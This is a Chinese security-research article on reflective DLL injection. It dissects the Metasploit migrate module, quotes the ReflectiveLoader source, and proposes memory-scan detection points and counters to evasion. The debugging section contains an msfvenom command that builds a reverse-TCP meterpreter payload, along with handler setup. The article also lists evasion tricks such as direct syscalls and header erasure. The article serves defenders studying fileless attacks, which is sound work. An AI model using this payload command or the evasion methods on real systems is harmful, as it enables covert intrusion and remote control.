4

深入理解反射式 dll 注入技术

 2 years ago
source link: https://paper.seebug.org/1855/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

深入理解反射式 dll 注入技术

2022年03月23日 2022年03月23日 经验心得

作者:深信服千里目安全实验室
原文链接:https://mp.weixin.qq.com/s/kVpesy_w7XLanL_WhRhn-Q

dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性,通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。

常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大,很容易被edr等安全产品检测到。为了弥补这个缺陷,stephen fewer提出了反射式dll注入技术并在github开源,反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载,期间无任何文件落地,安全产品的检测难度大大增加。

本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。

二、dll注入技术简介

2.1 常规dll注入技术

常规dll注入有:

  1. 通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
  2. 通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
  3. 通过调用SetWindowsHookEx()函数来设置拦截事件,在发生对应的事件时,被注入进程执行拦截事件函数加载dll。

以使用CreateRemoteThread()函数进行dll注入的方式为例,实现思路如下:

  1. 获取被注入进程PID。
  2. 在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
  3. 使用openOpenProcess()函数获取被注入进程句柄。
  4. 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
  5. 使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
  6. 通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。

a2c1fac8-a5fc-41ec-bee0-8864d3c839ce.png-w331s

常规dll注入示意图如上图所示。该图直接从步骤3)开始,步骤1)和步骤2)不在赘述。

2.2 反射式dll注入技术

反射式dll注入与常规dll注入类似,而不同的地方在于反射式dll注入技术自己实现了一个reflective loader()函数来代替LoadLibaryA()函数去加载dll,示意图如下图所示。蓝色的线表示与用常规dll注入相同的步骤,红框中的是reflective loader()函数行为,也是下面重点描述的地方。

Reflective loader实现思路如下:

  1. 获得被注入进程未解析的dll的基地址,即下图第7步所指的dll。

  2. 获得必要的dll句柄和函数为修复导入表做准备。

  3. 分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中。
  4. 修复导入表和重定向表。

  5. 执行DllMain()函数。

fcf5150e-c67c-46ab-87fc-ee58b3581db0.png-w331s

三、Msf migrate模块剖析

msf的migrate模块是post阶段的一个模块,其作用是将meterpreter payload从当前进程迁移到指定进程。

在获得meterpreter session后可以直接使用migrate命令迁移进程,其效果如下图所示:

img

migrate的模块的实现和stephen fewer的ReflectiveDLLInjection项目大致相同,增加了一些细节,其实现原理如下:

  1. 读取metsrv.dll(metpreter payload模板dll)文件到内存中。

  2. 生成最终的payload。
    a) msf生成一小段汇编migrate stub主要用于建立socket连接。
    b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
    c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。

  3. 向msf server发送migrate请求和payload。

  4. msf向迁移目标进程分配一块内存并写入payload。

  5. msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。

  6. reflective loader进行反射式dll注入。

  7. 最后msf client和msf server建立一个新的session。

原理图如下所示:

img

图中红色的线表示与常规反射式dll注入不同的地方。红色的填充表示修改内容,绿色的填充表示增加内容。migrate模块的reflective loader是直接复用了stephen fewer的ReflectiveDLLInjection项目的ReflectiveLoader.c中的ReflectiveLoader()函数。下面我们主要关注reflective loader的行为。

3.1 静态分析

3.1.1 获取dll基地址

ReflectiveLoader()首先会调用caller()函数

uiLibraryAddress = caller();

caller()函数实质上是_ReturnAddress()函数的封装。caller()函数的作用是获取caller()函数的返回值,在这里也就是ReflectiveLoader()函数中调用caller()函数的下一条指令的地址。

#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

然后,向低地址逐字节比较是否为为dos头的标识MZ字串,若当前地址的内容为MZ字串,则把当前地址认为是dos头结构体的开头,并校验dos头e_lfanew结构成员是否指向pe头的标识”PE”字串。若校验通过,则认为当前地址是正确的dos头结构体的开头。

while( TRUE )
{
    //将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串
    if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 
    {
        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
        if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
        {
            uiHeaderValue += uiLibraryAddress;
            //判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址
            if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                break;
        }
    }
    uiLibraryAddress--;
}

3.1.2 获取必要的dll句柄和函数地址

获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderModuleList链表获取dll名称,之后算出dll名称的hash,最后进行hash对比得到最终的hash。

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
    uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    uiValueC = 0;
    ULONG_PTR tmpValC = uiValueC;
    //计算tmpValC所指向子串的hash值,并存储在uiValueC中
    ....
    if( (DWORD)uiValueC == KERNEL32DLL_HASH )

必要的函数是遍历函数所在的dll导出表获得函数名称,然后做hash对比得到的。

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
        {
        dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
            if( dwHashValue == LOADLIBRARYA_HASH
            //等于其他函数hash的情况
            || ...
            )
            {
                uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
                uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
                if( dwHashValue == LOADLIBRARYA_HASH )
                    pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                //等于其他函数hash的情况
                ...
                usCounter--;
            }
            uiNameArray += sizeof(DWORD);
            uiNameOrdinals += sizeof(WORD);
        }
}

3.1.3 将dll映射到新内存

Nt optional header结构体中的SizeOfImage变量存储着pe文件在内存中解析后所占的内存大小。所以ReflectiveLoader()获取到SizeOfImage的大小,分配一块新内存,然后按照section headers结构中的文件相对偏移和相对虚拟地址,将pe节一一映射到新内存中。

//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )
    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
    uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
    uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    //将每一节的内容复制到新内存对应的位置
    while( uiValueD-- )
        *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
    uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

3.1.4 修复导入表和重定位表

首先更具导入表结构,找到导入函数所在的dll名称,然后使用loadlibary()函数载入dll,根据函数序号或者函数名称,在载入的dll的导出表中,通过hash对比,并把找出的函数地址写入到新内存的IAT表中。

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
    //使用LoadLibraryA()函数加载对应的dll
    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
    ...
    uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    //IAT表
    uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
    while( DEREF(uiValueA) )
    {
        //如果导入函数是通过函数编号导入
        if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
        {   //通过函数编号索引导入函数所在dll的导出函数    
            uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
            uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
            uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
            uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
            //将对应的导入函数地址写入IAT表
            DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
        }
        else
        {
            //导入函数通过名称导入的
            uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
            DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
        }
        uiValueA += sizeof( ULONG_PTR );
        if( uiValueD )
            uiValueD += sizeof( ULONG_PTR );
    }
    uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

重定位表是为了解决程序指定的imagebase被占用的情况下,程序使用绝对地址导致访问错误的情况。一般来说,在引用全局变量的时候会用到绝对地址。这时候就需要去修正对应内存的汇编指令。

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
    uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    {
        uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
        uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
        //根据不同的标识,修正每一项对应地址的值
        while( uiValueB-- )
        {
            if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
            else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
            uiValueD += sizeof( IMAGE_RELOC );
        }
        uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    }
}

3.2 动态调试

本节一方面是演示如何实际的动态调试msf的migrate模块,另一方面也是3.1.1的一个补充,从汇编层次来看3.1.1节会更容易理解。

首先用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

并使用msfconsole设置监听

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

之后在受害机使用windbg启动msf.exe并且

bu KERNEL32!CreateRemoteThread;g

获得被注入进程新线程执行的地址,以便调试被注入进程。

当建立session连接后,在msfconsole使用migrate命令

 migrate 5600 //5600是要迁移的进程的pid

然后msf.exe在CreateRemoteThread函数断下,CreateRemoteThread函数原型如下

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

所以我们要找第四个参数lpStartAddress的值,即r9寄存器的内容,

1648020752000-msf_createremotethread.png-w331s

!address 000001c160bb0000

去notepad进程验证一下,是可读可写的内存,基本上就是对的

1648020752000-notepad_rwx.png-w331s

此时的地址是migrate stub汇编代码的地址,我们期望直接断在reflective loader的函数地址,我们通过

s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000为上面的lpStartAddress,3200为我们获取到的内存块大小

直接去搜MZ字串定位到meterpreter loader汇编的地址,进而定位到reflective loader的函数地址

1648020753000-meterpreter_loader.png-w331s

meterpreter loader将reflective loader函数的地址放到rbx中,所以我们可直接断在此处,进入reflective loader的函数,如下图所示

1648020753000-call_reflective_loader.png-w331s

reflective loader首先call 000001c1`60bb5dc9也就是caller()函数,caller()函数的实现就比较简单了,一共两条汇编指令,起作用就是返回下一条指令的地址

1648020753000-get_dll_base.png-w331s

在这里也就是0x000001c160bb5e08

1648020753000-notepad_return_address.png-w331s

获得下一条指令后的地址后,就会比较获取的地址的内容是否为MZ如果不是的话就会把获取的地址减一作为新地址比较,如果是的话,则会比较e_lfanew结构成员是否指向PE,若是则此时的地址作为dll的基地址。后面调试过程不在赘述。

四、检测方法

反射式dll注入技术有很多种检测方法,如内存扫描、IOA等。下面是以内存扫描为例,我想到的一些扫描策略和比较好的检测点。

扫描策略:

  1. Hook敏感api,当发生敏感api调用序列时,对注入进程和被注入进程扫描内存。

  2. 跳过InMemoryOrderModuleList中的dll。

检测点多是跟reflective loader函数的行为有关,检测点如下:

  1. 强特征匹配_ReturnAddress()的函数。Reflectiveloader函数定位dos头的前置操作就是调用调用_ReturnAddress()函数获得当前dll的一个地址。

  2. 扫描定位pe开头位置的代码逻辑。详见3.1节,我们可以弱匹配此逻辑。

  3. 扫描特定的hash函数和hash值。在dll注入过程中,需要许多dll句柄和函数地址,所以不得不使用hash对比dll名称和函数名称。我们可以匹配hash函数和这些特殊的hash值。

  4. 从整体上检测dll注入。在被注入进程其实是存在两份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我们可以检测这两份dll文件的关系来确定是反射式dll注入工具。

深信服云主机安全保护平台CWPP能够有效检测此类利用反射式DLL注入payload的无文件攻击技术。检测结果如图所示:

846785f2-c0db-43a6-86c6-3fad71eadace.png-w331s

五、攻防对抗的思考

对于标准的反射dll注入是有很多种检测方式的,主要是作者没有刻意的做免杀,下面对于我搜集到了一些免杀方式,探讨一下其检测策略。

  1. 避免直接调用敏感api 。例如不直接调用writeprocessmemory等函数,而是直接用syscall调用。这种免杀方式只能绕过用户态的hook。对于内核态hook可以解这个问题。
  2. dll在内存中的rwx权限进行了去除,变成rx。其实有好多粗暴的检测反射式dll注入的攻击方式,就是检测rwx权限的内存是否为pe文件。
  3. 擦除nt头和dos头。这种免杀方式会直接让检测点4)影响较大,不能简单的校验pe头了,需要加入更精确的确定两个dll的文件,比如说,首先通过读取未解析的dll的SizeOfImage的大小,然后去找此大小的内存块,然后对比代码段是否一致,去判断是否为同一pe文件。

  4. 抹除未解析pe文件的内存。这种免杀方式会导致检测点4)彻底失效,这种情况下我们只能对reflectiveloader()函数进行检测。

  5. 抹除reflectiveloader()函数的内存。这里就比较难检测了。但是也是有检测点的,这里关键是如何确定这块内存是pe结构,重建pe结构之后,我们可以通过导出表去看导出函数是否被抹除。

六、参考文献


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1855/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK